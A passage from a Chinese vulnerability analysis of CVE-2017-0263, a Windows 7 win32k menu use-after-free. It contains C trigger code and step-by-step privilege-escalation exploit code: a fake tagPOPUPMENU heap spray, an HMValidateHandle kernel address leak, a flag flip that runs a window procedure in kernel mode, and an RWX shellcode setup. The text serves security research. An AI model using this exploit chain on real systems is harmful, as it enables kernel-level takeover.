从 CVE-2017-0263 漏洞分析到菜单管理组件(下)

从 CVE-2017-0263 漏洞分析到菜单管理组件

传送门:从 CVE-2017-0263 漏洞分析到菜单管理组件(上)

CVE-2017-0263 是 Windows 操作系统 win32k 内核模块菜单管理组件中的一个 UAF(释放后重用)漏洞,据报道称该漏洞在之前与一个 EPS 漏洞被 APT28 组织组合攻击用来干涉法国大选。这篇文章将对用于这次攻击的样本的 CVE-2017-0263 漏洞部分进行一次简单的分析,以整理出该漏洞利用的运作原理和基本思路,并对 Windows 窗口管理器子系统的菜单管理组件进行简单的探究。分析的环境是 Windows 7 x86 SP1 基础环境的虚拟机。

 

0x3 触发

接下来通过构造验证代码使系统在调用 xxxMNEndMenuState 函数释放根弹出菜单对象之后并在重置当前线程信息对象的成员域 pMenuState 之前,使线程的执行流再次进入 xxxMNEndMenuState 函数调用,致使触发对目标成员域 pGlobalPopupMenu 指向对象的重复释放。

在用户进程中首先为验证代码创建单独的线程,利用代码的主体任务都在新线程的上下文中执行。在原有的主线程中监听全局变量 bDoneExploit 是否被赋值以等待下一步操作。

验证代码首先通过调用 CreatePopupMenu 等函数创建两个非模态的可弹出的菜单对象。由于模态的菜单将导致线程在内核中进入函数 xxxMNLoop 的循环等待状态,导致无法在同一线程中执行其他操作,对漏洞触发造成难度,因此我们选择非模态的菜单类型。这里的可弹出的菜单对象不是前面提到的 tagPOPUPMENU 类型的对象,而是带有 MFISPOPUP 标志位状态的 tagMENU 对象。结构体 tagMENU 是菜单对象的实体,而 tagPOPUPMENU 是用来描述菜单对象实体的弹出状态的对象,在菜单对象实际弹出时创建、菜单对象结束弹出状态时销毁,需要注意两者的区别。

接下来通过 AppendMenuA 为两个菜单添加菜单项,并使第二个成为第一个的子菜单。

LPCSTR szMenuItem = "item";
MENUINFO mi = { 0 };
mi.cbSize  = sizeof(mi);
mi.fMask   = MIM_STYLE;
mi.dwStyle = MNS_AUTODISMISS | MNS_MODELESS | MNS_DRAGDROP;

hpopupMenu[0] = CreatePopupMenu();
hpopupMenu[1] = CreatePopupMenu();
SetMenuInfo(hpopupMenu[0], &mi);
SetMenuInfo(hpopupMenu[1], &mi);
AppendMenuA(hpopupMenu[0], MF_BYPOSITION | MF_POPUP, (UINT_PTR)hpopupMenu[1], szMenuItem);
AppendMenuA(hpopupMenu[1], MF_BYPOSITION | MF_POPUP, 0, szMenuItem);

创建并关联两个菜单对象的验证代码

接下来创建一个普通的窗口对象 hWindowMain 以在后续菜单弹出时作为弹出菜单的拥有者窗口对象。如果编译时选择 GUI 界面程序,则获取默认的窗口对象句柄即可,这一步就不需要创建额外的窗口对象了。

WNDCLASSEXW wndClass = { 0 };
wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXW);
wndClass.lpfnWndProc    = DefWindowProcW;
wndClass.cbWndExtra     = 0;
wndClass.hInstance      = GetModuleHandleA(NULL);
wndClass.lpszMenuName   = NULL;
wndClass.lpszClassName  = L"WNDCLASSMAIN";
RegisterClassExW(&wndClass);
hWindowMain = CreateWindowExW(WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
    L"WNDCLASSMAIN",
    NULL,
    WS_VISIBLE,
    0,
    0,
    1,
    1,
    NULL,
    NULL,
    GetModuleHandleA(NULL),
    NULL);

创建用来拥有弹出菜单的主窗口对象的验证代码

通过函数 SetWindowsHookExW 创建类型为 WH_CALLWNDPROC 关联当前线程的挂钩程序,并通过 SetWinEventHook 创建范围包含 EVENT_SYSTEM_MENUPOPUPSTART 的关联当前进程和线程的事件通知消息处理程序。前面已经提到,设置 WH_CALLWNDPROC 类型的挂钩程序会在每次线程将消息发送给窗口对象之前调用。事件通知 EVENT_SYSTEM_MENUPOPUPSTART 表示目标弹出菜单已被显示在屏幕上。

SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc,
    GetModuleHandleA(NULL),
    GetCurrentThreadId());
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,
    GetModuleHandleA(NULL),
    xxWindowEventProc,
    GetCurrentProcessId(),
    GetCurrentThreadId(),
    0);

创建消息挂钩和时间通知程序的验证代码

验证代码调用函数 TrackPopupMenuEx 使第一个菜单作为根菜单在创建的窗口中弹出。

TrackPopupMenuEx(hpopupMenu[0], 0, 0, 0, hWindowMain, NULL);

调用函数 TrackPopupMenuEx 的验证代码

接着通过调用 GetMessageDispatchMessage 等函数在当前线程中实现消息循环。

MSG msg = { 0 };
while (GetMessageW(&msg, NULL, 0, 0))
{
    TranslateMessage(&msg);
    DispatchMessageW(&msg);
}

实现消息循环的验证代码

在函数 TrackPopupMenuEx 执行期间,系统调用函数 xxxCreateWindowEx 创建新的菜单类型的窗口对象。就像前面的章节提到的那样,创建窗口对象成功时,函数向该窗口对象发送 WM_NCCREATE 消息。在函数 xxxSendMessageTimeout 调用对象指定的消息处理程序之前,还会调用 xxxCallHook 函数用来调用先前由用户进程设定的 WH_CALLWNDPROC 类型的挂钩处理程序。这时执行流会回到我们先前在验证代码中定义的挂钩处理函数中。

在自定义挂钩处理函数 xxWindowHookProc 中,我们根据参数lParam指向tagCWPSTRUCT对象的成员域message 判断当前处理的消息是否为 WM_NCCREATE 消息,不是的情况则直接忽略。接下来根据窗口句柄获取窗口对象的类名称,当类名称为 #32768 时,表示这是创建的菜单窗口对象,因此将该句柄记录下来以备后续引用。

LRESULT CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
    tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
    static HWND hwndMenuHit = 0;
    if (cwp->message != WM_NCCREATE)
    {
        return CallNextHookEx(0, code, wParam, lParam);
    }
    WCHAR szTemp[0x20] = { 0 };
    GetClassNameW(cwp->hwnd, szTemp, 0x14);
    if (!wcscmp(szTemp, L"#32768"))
    {
        hwndMenuHit = cwp->hwnd;
    }
    return CallNextHookEx(0, code, wParam, lParam);
}

在挂钩处理程序中记录 #32768 窗口的句柄

在目标菜单窗口对象创建完成时,系统在内核中设置窗口对象的位置坐标并使其显示在屏幕上。在这期间,系统为该窗口对象创建关联的类型为 SysShadow 的阴影窗口对象。同样地,创建阴影窗口对象并发送 WM_NCCREATE 消息时,系统也会调用 xxxCallHook 函数来分发调用挂钩程序。

前面章节的“终止菜单”部分的分析已知,在函数 xxxEndMenuLoop 调用期间,系统对每个弹出菜单窗口对象都调用了两次 xxxRemoveShadow 函数。这将导致在到达漏洞触发位置之前阴影窗口被提前取消关联和销毁。因此我们要想办法为成员域 uButtonDownHitArea 存储的目标菜单窗口对象创建并关联至少 3 个阴影窗口对象。

回到验证代码的自定义挂钩处理函数中,在判断窗口类名称的位置增加判断是否为 SysShadow 的情况。如果命中这种情况,我们通过调用函数 SetWindowPos 对先前保存句柄指向的类名称为 #32768 的窗口对象依次设置 SWP_HIDEWINDOWSWP_SHOWWINDOW 状态标志,使窗口先隐藏后显示,再次触发内核中添加阴影窗口关联的逻辑以创建新的阴影窗口对象。

在执行流进入自定义挂钩处理函数的 SysShadow 处理逻辑时,在内核中正处于创建阴影窗口的 xxxCreateWindowEx 执行期间,此时创建的阴影窗口对象和原菜单窗口对象还没有关联起来,它们的关联关系尚未被插入 gpShadowFirst 链表中。此时对目标菜单对象调用 SetWindowPos 以设置 SWP_SHOWWINDOW 状态标志,将导致系统对目标菜单窗口创建并关联多个阴影窗口对象,后创建的阴影窗口对象将被先插入 gpShadowFirst 链表中,从而位于链表中更靠后的位置。

多阴影窗口关联的插入链表和位置顺序逻辑
多阴影窗口关联的插入链表和位置顺序逻辑

在自定义挂钩处理函数的 SysShadow 处理逻辑中,对进入次数进行计数,对前 2 次进入的情况调用函数 SetWindowPos 以触发创建新的阴影窗口关联的逻辑;到第 3 次进入的情况时,我们通过调用函数 SetWindowLong 将目标阴影窗口对象的消息处理函数篡改为自定义的阴影窗口消息处理函数。

if (!wcscmp(szTemp, L"SysShadow") && hwndMenuHit != NULL)
{
    if (++iShadowCount == 3)
    {
        SetWindowLongW(cwp->hwnd, GWL_WNDPROC, (LONG)xxShadowWindowProc);
    }
    else
    {
        SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_HIDEWINDOW);
        SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_SHOWWINDOW);
    }
}

对目标菜单窗口对象创建多阴影窗口关联的验证代码

一切处理妥当后,需设置相关的全局标志以阻止执行流重复进入该自定义挂钩处理函数致使上面的逻辑代码被多次执行。

在内核函数 xxxTrackPopupMenuEx 中处理完成对根弹出菜单窗口对象的创建时,调用 xxxWindowEvent 函数以发送代表“菜单弹出开始”的 EVENT_SYSTEM_MENUPOPUPSTART 事件通知。这将进入我们先前设置的自定义事件通知处理函数 xxWindowEventProc 中。每当进入该事件通知处理程序时,代表当前新的弹出菜单已显示在屏幕中。

在验证代码的自定义事件通知处理函数 xxWindowEventProc 中进行计数,当第 1 次进入函数时,表示根弹出菜单已在屏幕中显示,因此通过调用函数 SendMessage 向参数句柄 hwnd 指向的菜单窗口对象发送 WM_LBUTTONDOWN 鼠标左键按下的消息,并在参数 lParam 传入按下的相对坐标。在 32 位系统中,参数 lParam 是一个 DWORD 类型的数值,其高低 16 位分别代表横坐标和纵坐标的相对位置,传入的数值需要确保相对坐标位于先前创建菜单时设定的子菜单项的位置。参数 wParam 用户设定按下的是左键还是右键,设置为 1 表示 MK_LBUTTON 左键。

在内核中消息处理函数 xxxMenuWindowProc 接收并处理该消息,这将导致最终调用到函数 xxxMNOpenHierarchy 以创建新弹出的子菜单的相关对象。类似地,在处理完成新的子菜单在屏幕中的显示时,函数 xxxMNOpenHierarchy 调用函数 xxxWindowEvent 发送 EVENT_SYSTEM_MENUPOPUPSTART 事件通知。这使得执行流再次进入自定义事件通知处理函数 xxWindowEventProc 中。

当第 2 次进入函数 xxWindowEventProc 时,表示弹出的子菜单已在屏幕中显示。此时验证代码调用函数 SendMessage 向目标菜单对象发送 MN_ENDMENU 菜单终止的消息,这将导致执行流最终进入内核函数 xxxMNEndMenuState 中。

VOID CALLBACK
xxWindowEventProc(
    HWINEVENTHOOK hWinEventHook,
    DWORD         event,
    HWND          hwnd,
    LONG          idObject,
    LONG          idChild,
    DWORD         idEventThread,
    DWORD         dwmsEventTime
)
{
    if (++iMenuCreated >= 2)
    {
        SendMessageW(hwnd, MN_ENDMENU, 0, 0);
    }
    else
    {
        SendMessageW(hwnd, WM_LBUTTONDOWN, 1, 0x00020002); // (2,2)
    }
}

事件通知处理函数发送消息的验证代码

执行流进入函数 xxxMNEndMenuState 时,线程关联的菜单状态对象成员域 uButtonDownHitArea 存储最后处理鼠标按下消息时按下坐标位于的窗口对象(即在先前被创建并关联了 3 个阴影窗口对象的菜单窗口对象)的指针。位于 gShadowFirst 链表中与该菜单窗口对象关联的最开始的 2 个阴影窗口已在函数 xxxEndMenuLoop 执行期间被解除关联并销毁,此时菜单中仍存在与该菜单窗口关联的最后 1 个阴影窗口关联节点,该阴影窗口对象就是当时被篡改了消息处理函数的阴影窗口对象。

函数在 MNFreePopup 中释放当前根弹出菜单对象之后调用函数 UnlockMFMWFPWindow 以解锁成员域 uButtonDownHitArea 存储的目标菜单窗口对象时,不出意外的话,此时该菜单窗口对象的锁计数归零,因此窗口管理器将调用该对象的销毁函数 xxxDestroyWindow 以执行对该对象的销毁任务。这将解除关联并销毁第 3 个关联的阴影窗口对象,并使执行流进入先前篡改的自定义消息处理函数中。

在验证代码的阴影窗口自定义消息处理函数 xxShadowWindowProc 中,判断消息参数是否为 WM_NCDESTROY 类型。如果是的话,则在此直接调用 NtUserMNDragLeave 系统服务。

ULONG_PTR
xxSyscall(UINT num, ULONG_PTR param1, ULONG_PTR param2)
{
    __asm { mov eax, num };
    __asm { int 2eh };
}

CONST UINT num_NtUserMNDragLeave = 0x11EC;

LRESULT WINAPI
xxShadowWindowProc(
    _In_ HWND   hwnd,
    _In_ UINT   msg,
    _In_ WPARAM wParam,
    _In_ LPARAM lParam
)
{
    if (msg == WM_NCDESTROY)
    {
        xxSyscall(num_NtUserMNDragLeave, 0, 0);
    }
    return DefWindowProcW(hwnd, msg, wParam, lParam);
}

阴影窗口自定义消息处理函数的验证代码

函数 NtUserMNDragLeave 原本用于结束菜单的拖拽状态。在该函数执行期间,系统在进行一系列的判断和调用之后,最终在函数 xxxUnlockMenuState 中调用 xxxMNEndMenuState 函数:

  bZeroLock = menuState->dwLockCount-- == 1;
  if ( bZeroLock && ExitMenuLoop(menuState, menuState->pGlobalPopupMenu) )
  {
    xxxMNEndMenuState(1);
    result = 1;
  }

函数 xxxUnlockMenuState 调用 xxxMNEndMenuState 函数

这导致重新触达漏洞所在的位置并致使菜单状态对象的成员域 pGlobalPopupMenu 指向的根弹出菜单对象被重复释放,导致系统 BSOD 的发生。

根弹出菜单对象重复释放导致系统 BSOD 的发生
根弹出菜单对象重复释放导致系统 BSOD 的发生

 

0x4 利用

前面的章节对漏洞原理进行分析并构造了简单的漏洞触发验证代码。在本章节中将利用该漏洞的触发,通过循序渐进的方式构造利用代码,最终实现利用和提权的目的。

初始化利用数据

在利用代码中自定义结构体 SHELLCODE 以存储与利用相关的数据:

typedef struct _SHELLCODE {
    DWORD reserved;
    DWORD pid;
    DWORD off_CLS_lpszMenuName;
    DWORD off_THREADINFO_ppi;
    DWORD off_EPROCESS_ActiveLink;
    DWORD off_EPROCESS_Token;
    PVOID tagCLS[0x100];
    BYTE  pfnWindProc[];
} SHELLCODE, *PSHELLCODE;

自定义的 SHELLCODE 结构体定义

在利用代码的早期阶段在用户进程中分配完整内存页的 RWX 内存块,并初始化相关成员域,将 ShellCode 函数代码拷贝到从成员域 pfnWindProc 起始的内存地址。

pvShellCode = (PSHELLCODE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pvShellCode == NULL)
{
    return 0;
}
ZeroMemory(pvShellCode, 0x1000);
pvShellCode->pid = GetCurrentProcessId();
pvShellCode->off_CLS_lpszMenuName    = 0x050;
pvShellCode->off_THREADINFO_ppi      = 0x0b8;
pvShellCode->off_EPROCESS_ActiveLink = 0x0b8;
pvShellCode->off_EPROCESS_Token      = 0x0f8;
CopyMemory(pvShellCode->pfnWindProc, xxPayloadWindProc, sizeof(xxPayloadWindProc));

初始化分配的 SHELLCODE 结构体内存区域

成员域 pfnWindProc 起始的内存区域将最终作为实际 ShellCode 函数代码在内核上下文执行。

伪造根弹出菜单对象

在用户进程验证代码的阴影窗口自定义消息处理函数 xxShadowWindowProc 执行期间,需要通过相关函数在内核中分配与 tagPOPUPMENU 结构体相同大小的缓冲区以占位刚释放的内存空隙,伪造新的弹出菜单对象,使系统误认为弹出菜单对象仍旧正常存在于内核中。

这在利用代码中将通过调用函数 SetClassLong 对大量的窗口对象设置 MENUNAME 字段的方式实现。这些窗口对象需要在首次调用函数 TrackPopupMenuEx 之前完成创建和初始化。

回到验证代码调用函数 TrackPopupMenuEx 之前创建菜单对象的位置,在此时机增加调用函数 CreateWindowEx 以创建大量窗口对象,并为每个窗口对象注册单独的窗口类。

for (INT i = 0; i < 0x100; ++i)
{
    WNDCLASSEXW Class = { 0 };
    WCHAR szTemp[20] = { 0 };
    HWND hwnd = NULL;
    wsprintfW(szTemp, L"%x-%d", rand(), i);
    Class.cbSize        = sizeof(WNDCLASSEXW);
    Class.lpfnWndProc   = DefWindowProcW;
    Class.cbWndExtra    = 0;
    Class.hInstance     = GetModuleHandleA(NULL);
    Class.lpszMenuName  = NULL;
    Class.lpszClassName = szTemp;
    RegisterClassExW(&Class);
    hwnd = CreateWindowExW(0, szTemp, NULL, WS_OVERLAPPED,
        0,
        0,
        0,
        0,
        NULL,
        NULL,
        GetModuleHandleA(NULL),
        NULL);
    hWindowList[iWindowCount++] = hwnd;
}

创建大量普通窗口对象的利用代码

接下来在验证代码的自定义阴影窗口消息处理函数 xxShadowWindowProc 中调用系统服务 NtUserMNDragLeave 之前,增加对前面批量创建的普通窗口对象设置 GCL_MENUNAME 的调用:

DWORD dwPopupFake[0xD] = { 0 };
dwPopupFake[0x0] = 0x00098208;  //->flags
dwPopupFake[0x1] = 0xDDDDDDDD;  //->spwndNotify
dwPopupFake[0x2] = 0xDDDDDDDD;  //->spwndPopupMenu
dwPopupFake[0x3] = 0xDDDDDDDD;  //->spwndNextPopup
dwPopupFake[0x4] = 0xDDDDDDDD;  //->spwndPrevPopup
dwPopupFake[0x5] = 0xDDDDDDDD;  //->spmenu
dwPopupFake[0x6] = 0xDDDDDDDD;  //->spmenuAlternate
dwPopupFake[0x7] = 0xDDDDDDDD;  //->spwndActivePopup
dwPopupFake[0x8] = 0xDDDDDDDD;  //->ppopupmenuRoot
dwPopupFake[0x9] = 0xDDDDDDDD;  //->ppmDelayedFree
dwPopupFake[0xA] = 0xDDDDDDDD;  //->posSelectedItem
dwPopupFake[0xB] = 0xDDDDDDDD;  //->posDropped
dwPopupFake[0xC] = 0;
for (UINT i = 0; i < iWindowCount; ++i)
{
    SetClassLongW(hWindowList[i], GCL_MENUNAME, (LONG)dwPopupFake);
}

为普通窗口对象设置 MENUNAME 字段的利用代码

由于 MENUNAME 字段属于 WCHAR 字符串格式,因此在初始化缓冲区时需要将所有数值设置为不包含连续 2 字节为 0 的情况。通过调用函数 SetClassLongW 为目标窗口对象设置 MENUNAME 字段时,系统最终在内核中为窗口对象所属的窗口类 tagCLS 对象的成员域 lpszMenuName 分配并设置 UNICODE 字符串缓冲区。

由于成员域 lpszMenuName 指向的缓冲区和弹出菜单 tagPOPUPMENU 对象的缓冲区同样是进程配额的内存块,因此两者所占用的额外内存大小相同,只需要将在利用代码中为每个窗口对象设置的 MENUNAME 缓冲区长度设置为与 tagPOPUPMENU 大小相同的长度,那么通常情况下在内核中总有一个窗口对象的 MENUNAME 缓冲区被分配在先前释放的根弹出菜单对象的内存区域中,成为伪造的根弹出菜单 tagPOPUPMENU 对象。

为使稍后位置调用的系统服务 NtUserMNDragLeave 能再次进入函数 xxxMNEndMenuState 调用,需要将伪造的 tagPOPUPMENU 对象的成员域 flags 进行稍微设置,将关键标志位置位,其余标志位置零。

kd> dt win32k!tagPOPUPMENU 0141fb44 
   [...]
   +0x000 fIsTrackPopup    : 0y1
   [...]
   +0x000 fFirstClick      : 0y1
   [...]
   +0x000 fDestroyed       : 0y1
   +0x000 fDelayedFree     : 0y1
   [...]
   +0x000 fInCancel        : 0y1
   [...]
   +0x004 spwndNotify      : 0xdddddddd tagWND
   +0x008 spwndPopupMenu   : 0xdddddddd tagWND
   +0x00c spwndNextPopup   : 0xdddddddd tagWND
   +0x010 spwndPrevPopup   : 0xdddddddd tagWND
   +0x014 spmenu           : 0xdddddddd tagMENU
   +0x018 spmenuAlternate  : 0xdddddddd tagMENU
   +0x01c spwndActivePopup : 0xdddddddd tagWND
   +0x020 ppopupmenuRoot   : 0xdddddddd tagPOPUPMENU
   +0x024 ppmDelayedFree   : 0xdddddddd tagPOPUPMENU
   +0x028 posSelectedItem  : 0xdddddddd
   +0x02c posDropped       : 0xdddddddd

伪造的 tagPOPUPMENU 对象的成员域数据


伪造弹出菜单对象成员域

前面伪造的 tagPOPUPMENU 对象重新占用了先前释放的根弹出菜单对象的内存区域,并且其各个成员域在利用代码中分配时可以实施完全控制。但前面并未对其各个指针成员域进行有效性设置,这样一来在函数 xxxMNEndMenuState 中解锁各个指针成员域指向的对象时仍旧会触发缺页异常等错误。接下来通过对指针成员域进行设置,使其指向有效的内存空间,以使内核逻辑能够正常向后执行。

回到验证代码中创建作为弹出菜单拥有者的窗口对象 hWindowMain 的位置,增加创建新的用作利用载体的普通窗口对象 hWindowHunt 的代码:

WNDCLASSEXW wndClass = { 0 };
wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXW);
wndClass.lpfnWndProc    = DefWindowProcW;
wndClass.cbWndExtra     = 0x200;
wndClass.hInstance      = GetModuleHandleA(NULL);
wndClass.lpszMenuName   = NULL;
wndClass.lpszClassName  = L"WNDCLASSHUNT";
RegisterClassExW(&wndClass);
hWindowHunt = CreateWindowExW(0x00,
    L"WNDCLASSHUNT",
    NULL,
    WS_OVERLAPPED,
    0,
    0,
    1,
    1,
    NULL,
    NULL,
    GetModuleHandleA(NULL),
    NULL);

创建用来作为利用载体的窗口对象的利用代码

载体窗口对象 hWindowHunt 具有 0x200 字节大小的扩展区域,扩展区域紧随基础的 tagWND 对象其后,在利用代码中将用来伪造各种相关的内核用户对象,以使系统重新执行 xxxMNEndMenuState 期间,执行流能正常稳定地执行。

接下来通过 HMValidateHandle 内核对象地址泄露技术获取载体窗口对象的 tagWND 内核地址。窗口对象 tagWND 的头部结构是一个 THRDESKHEAD 成员结构体对象,完整的结构体定义如下:

typedef struct _HEAD {
    HANDLE  h;
    DWORD   cLockObj;
} HEAD, *PHEAD;
typedef struct _THROBJHEAD {
    HEAD    head;
    PVOID   pti;
} THROBJHEAD, *PTHROBJHEAD;
typedef struct _DESKHEAD {
    PVOID   rpdesk;
    PBYTE   pSelf;
} DESKHEAD, *PDESKHEAD;
typedef struct _THRDESKHEAD {
    THROBJHEAD  thead;
    DESKHEAD    deskhead;
} THRDESKHEAD, *PTHRDESKHEAD;

结构体 THRDESKHEAD 的定义

其中结构体 DESKHEAD 的成员域 pSelf 指向所属用户对象的内核首地址。因此通过该指针加上 tagWND 结构体的大小定位到当前窗口对象的扩展区域的内核地址。

根据代码分析,函数 xxxMNEndMenuState 在开始执行时调用函数 MNEndMenuStateNotify 用来在通知窗口对象所属线程和当前菜单状态所属线程不同的情况下,清理通知线程的线程信息对象的成员域 pMenuState 数值。然而不幸的是,由于伪造的 tagPOPUPMENU 对象已覆盖原有数据,因此需要继续伪造包括通知窗口对象在内的其他内核用户对象。

PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hWindowHunt);
PBYTE pbExtra = head->deskhead.pSelf + 0xb0 + 4;
pvHeadFake = pbExtra + 0x44;
for (UINT x = 0; x < 0x7F; x++) // 0x04·0x1D
{
    SetWindowLongW(hWindowHunt, sizeof(DWORD) * (x + 1), (LONG)pbExtra);
}
PVOID pti = head->thead.pti;
SetWindowLongW(hWindowHunt, 0x50, (LONG)pti); // pti

填充载体窗口对象扩展区域的利用代码

将载体窗口对象的扩展区域预留 4 字节,将剩余 0x1FC 字节的内存区域全部填充为剩余内存区域的首地址,填充后的数值将作为各种对象成员域的句柄、引用计数或对象指针。

接下来将剩余内存区域 +0x44 字节偏移的内存数据作为伪造的内核用户对象头部结构,其地址被作为伪造的根弹出菜单 tagPOPUPMENU 对象的各个指针成员域的值。在利用代码的自定义阴影窗口消息处理函数 xxxShadowWindowProc 中替换原来的初始化 MENUNAME 字段缓冲区的利用代码:

DWORD dwPopupFake[0xD] = { 0 };
dwPopupFake[0x0] = (DWORD)0x00098208;  //->flags
dwPopupFake[0x1] = (DWORD)pvHeadFake;  //->spwndNotify
dwPopupFake[0x2] = (DWORD)pvHeadFake;  //->spwndPopupMenu
dwPopupFake[0x3] = (DWORD)pvHeadFake;  //->spwndNextPopup
dwPopupFake[0x4] = (DWORD)pvHeadFake;  //->spwndPrevPopup
dwPopupFake[0x5] = (DWORD)pvHeadFake;  //->spmenu
dwPopupFake[0x6] = (DWORD)pvHeadFake;  //->spmenuAlternate
dwPopupFake[0x7] = (DWORD)pvHeadFake;  //->spwndActivePopup
dwPopupFake[0x8] = (DWORD)0xFFFFFFFF;  //->ppopupmenuRoot
dwPopupFake[0x9] = (DWORD)pvHeadFake;  //->ppmDelayedFree
dwPopupFake[0xA] = (DWORD)0xFFFFFFFF;  //->posSelectedItem
dwPopupFake[0xB] = (DWORD)pvHeadFake;  //->posDropped
dwPopupFake[0xC] = (DWORD)0;

更新的初始化 MENUNAME 缓冲区的利用代码

其中例外的成员域 ppopupmenuRootposSelectedItem 被填充为 0xFFFFFFFF 以防止执行流误入歧途。由于伪造对象头部 pvHeadFake 指向的内存区域对应的成员域 cLockObj 具有极大的数值,因此在内核中各个针对该伪造对象的解锁和解引用函数调用都不足以使系统为其调用销毁对象的函数,因此异常将不会发生。

在函数 xxxMNEndMenuState 第二次执行期间,在原位置重新分配的伪造根弹出菜单 tagPOPUPMENU 对象在函数 MNFreePopup 中释放。

内核地址泄露技术

本分析中使用了 HMValidateHandle 内核地址泄露技术。在 user32 模块中,在操作一些用户对象时,为了提升效率以便于直接在用户模式获取目标用户对象的数据,系统提供了未导出的函数 HMValidateHandle 以供模块内部使用。

这个函数接收用户句柄和对象类型作为参数,在内部对参数进行验证,验证通过时则返回目标对象在当前进程桌面堆中映射的地址。该函数并未导出,但在一些导出函数中调用,例如 IsMenu 函数。该函数验证通过参数传入的句柄是否为菜单句柄。函数通过将句柄值和菜单类型枚举 2(TYPE_MENU) 传入函数 HMValidateHandle 调用,并判断函数返回值是否不为空,并返回判断的结果。

.text:76D76F0E 8B FF          mov     edi, edi
.text:76D76F10 55             push    ebp
.text:76D76F11 8B EC          mov     ebp, esp
.text:76D76F13 8B 4D 08       mov     ecx, [ebp+hMenu]
.text:76D76F16 B2 02          mov     dl, 2
.text:76D76F18 E8 73 5B FE FF call    @HMValidateHandle@8 ; HMValidateHandle(x,x)
.text:76D76F1D F7 D8          neg     eax
.text:76D76F1F 1B C0          sbb     eax, eax
.text:76D76F21 F7 D8          neg     eax
.text:76D76F23 5D             pop     ebp
.text:76D76F24 C2 04 00       retn    4

函数 IsMenu 的指令片段

因此我们可以通过硬编码匹配的方式,从 user32 模块的导出函数 IsMenu 中查找并计算函数 HMValidateHandle 的地址。

static PVOID(__fastcall *pfnHMValidateHandle)(HANDLE, BYTE) = NULL;
VOID
xxGetHMValidateHandle(VOID)
{
    HMODULE hModule = LoadLibraryA("USER32.DLL");
    PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
    PBYTE Address = NULL;
    for (INT i = 0; i < 0x30; i++)
    {
        if (*(WORD *)(i + pfnIsMenu) != 0x02B2)
        {
            continue;
        }
        i += 2;
        if (*(BYTE *)(i + pfnIsMenu) != 0xE8)
        {
            continue;
        }
        Address = *(DWORD *)(i + pfnIsMenu + 1) + pfnIsMenu;
        Address = Address + i + 5;
        pfnHMValidateHandle = (PVOID(__fastcall *)(HANDLE, BYTE))Address;
        break;
    }
}

查找并计算 HMValidateHandle 函数地址的利用代码

目标函数查找到之后,在利用代码中需要获取窗口对象等类型用户对象的地址的时机调用该函数并传入对象句柄,调用成功时则返回目标对象在用户进程桌面堆中的映射地址。

#define TYPE_WINDOW 1
PVOID
xxHMValidateHandleEx(HWND hwnd)
{
    return pfnHMValidateHandle((HANDLE)hwnd, TYPE_WINDOW);
}

获取目标窗口对象在桌面堆中的映射地址的利用代码

窗口对象的头部结构是一个 THRDESKHEAD 成员结构体对象,其中存在子成员域 pSelf 指向所属窗口对象的内核首地址。

内核模式代码执行

成员标志位 bServerSideWindowProc 位于 tagWND 对象标志成员域的第 18 位,其之前的两个标志位是bDialogWindowbHasCreatestructName标志位:

kd> dt win32k!tagWND
   +0x000 head             : _THRDESKHEAD
   +0x014 state            : Uint4B
   [...]
   +0x014 bDialogWindow    : Pos 16, 1 Bit
   +0x014 bHasCreatestructName : Pos 17, 1 Bit
   +0x014 bServerSideWindowProc : Pos 18, 1 Bit

成员标志位 bServerSideWindowProc 在结构体中的位置

通过研究发现,在创建普通窗口对象时,如果样式参数 dwStyle 和扩展样式参数 dwExStyle 都传值为 0 默认值,那么在内核中成员域 bDialogWindowbHasCreatestructName 都将未被置位。因此可以借助这个特性,实现对目标关键标志位的置位。

在利用代码中填充载体窗口对象的扩展区域内存期间,增加通过内核地址泄露技术获取窗口对象成员域 bDialogWindow 的地址的调用:

pvAddrFlags = *(PBYTE *)((PBYTE)xxHMValidateHandle(hWindowHunt) + 0x10) + 0x16;

获取窗口对象成员域 bDialogWindow 地址的利用代码

接着将在先前初始化的结构体 SHELLCODE 对象的成员域 pfnWindProc 起始地址设置为载体窗口对象 hWindowHunt 的消息处理函数:

SetWindowLongW(hWindowHunt, GWL_WNDPROC, (LONG)pvShellCode->pfnWindProc);

修改载体窗口对象消息处理函数的利用代码

在利用代码的自定义阴影窗口消息处理函数 xxxShadowWindowProc 中初始化 MENUNAME 字段缓冲区数值时,将成员标志位 bDialogWindow 的地址减 4 字节偏移的地址作为伪造 tagPOPUPMENU 对象的某个窗口对象指针成员域(例如 spwndPrevPopup 成员域)的数值,使前面提到的三个标志位正好位于该指针成员域指向的“窗口对象”的锁计数成员域 cLockObj 的最低 3 比特位。

dwPopupFake[0x4] = (DWORD)pvAddrFlags - 4; //->spwndPrevPopup

更新伪造弹出菜单对象的 spwndPrevPopup 成员域的利用代码

在函数 xxxMNEndMenuState 执行期间,系统为根弹出菜单对象的成员域 spwndPrevPopup 调用函数 HMAssignmentUnlock 以解除对目标窗口对象的赋值锁时,将直接对以成员标志位 bDialogWindow 地址起始的 32 位数值自减,这将使成员标志位 bServerSideWindowProc 置位:

   +0x014 bDialogWindow    : 0y1
   +0x014 bHasCreatestructName : 0y1
   +0x014 bServerSideWindowProc : 0y1

成员标志位 bServerSideWindowProc 由于自减被置位

由于成员标志位 bServerSideWindowProc 置位,载体窗口对象将获得在内核上下文直接执行窗口对象消息处理函数的能力。

ShellCode

ShellCode 函数代码将作为载体窗口对象的自定义消息处理函数在内核上下文直接执行。在构造 ShellCode 函数代码之前,首先对所需的数据进行初始化和赋值。

